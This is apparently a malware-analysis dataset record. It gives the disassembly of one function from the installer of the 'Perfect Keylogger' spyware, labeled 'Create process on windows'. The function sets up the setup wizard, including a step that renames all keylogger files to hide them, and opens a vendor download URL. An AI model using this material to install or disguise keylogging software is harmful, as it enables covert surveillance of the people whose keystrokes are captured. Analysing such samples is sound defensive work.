Function at 0x4013cb
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
call fcn.00401332
test eax, eax
je 0x401608
xor edi, edi
push 0x1b8
push edi
push 0x4057d8
call sub.MSVCRT.dll_memset
push 1
lea eax, [ebp - 0x34]
pop esi
push 0x34
mov dword [0x405980], esi
pop ebx
mov dword [0x40597c], esi
push ebx
push edi
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
push 0x28
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4057d4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], ebx
lea eax, [ebp - 0x154]
pop ebx
mov dword [ebp - 0x14], eax
push 0x120
lea eax, [ebp - 0x154]
push edi
push eax
mov dword [ebp - 0x30], 0xa42c
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0xc], 0x67
call sub.MSVCRT.dll_memset
mov eax, dword [0x4057d4]
add esp, 0x24
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x148], esi
push 0xc
lea esi, [ebp - 0x154]
pop eax
lea edi, [ebp - 0x124]
mov ecx, eax
mov dword [ebp - 0x154], 0x30
mov dword [ebp - 0x150], 0x3000
mov dword [ebp - 0x13c], 0x4016c9
mov dword [ebp - 0x12c], str.Welcome_to_Setup_Program_for_BlazingTools_Perfect_Keylogger
mov dword [ebp - 0x128], str.This_program_will_install_Perfect_Keylogger_on_your_computer.
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea esi, [ebp - 0x154]
lea edi, [ebp - 0xf4]
mov dword [ebp - 0x118], 0x6b
mov dword [ebp - 0x10c], 0x4017d6
mov dword [ebp - 0xfc], str.License_Agreement
mov dword [ebp - 0xf8], str.Please_read_the_following_license_agreement.
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea esi, [ebp - 0x154]
lea edi, [ebp - 0xc4]
mov dword [ebp - 0xe8], 0x6c
mov dword [ebp - 0xdc], 0x402034
mov dword [ebp - 0xcc], str.Enter_your_keyword
mov dword [ebp - 0xc8], str.All_keyloggers_files_will_be_renamed_using_this_keyword.
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea esi, [ebp - 0x154]
lea edi, [ebp - 0x94]
mov dword [ebp - 0xb8], 2
mov dword [ebp - 0xac], 0x401c4a
mov dword [ebp - 0x9c], str.Select_program_folder
mov dword [ebp - 0x98], str.You_can_choose_default_or_custom_folder.
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea esi, [ebp - 0x154]
lea edi, [ebp - 0x64]
mov dword [ebp - 0x88], 3
mov dword [ebp - 0x7c], 0x401e8d
mov dword [ebp - 0x6c], str.Select_program_group_folder_options
mov dword [ebp - 0x68], str.This_folder_can_be_created_in_the__Programs__menu.
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.COMCTL32.dll_PropertySheetA]
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x58], 4
mov dword [ebp - 0x4c], 0x4021e6
mov dword [ebp - 0x3c], str.Finishing_instalation
mov dword [ebp - 0x38], str.Thank_you_for_installing_our_program_
call esi
mov edi, dword [sym.imp.USER32.dll_IsWindow]
push eax
mov dword [ebp + 8], eax
call edi
test eax, eax
je 0x4015c4
mov eax, dword [ebp + 8]
jmp 0x40160a
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], ebx
push eax
call esi
mov esi, eax
push esi
call edi
test eax, eax
je 0x4015da
mov eax, esi
jmp 0x40160a
push 0x44
push str.Setup_Program
xor esi, esi
push str.Your_system_has_obsolete_version_of_the_comctl32.dll._Setup_cannot_continue__do_you_want_to_download_an_update_
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x401608
push esi
push esi
push esi
push str.http:__www.blazingtools.com_downloads_sysupdate.zip
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret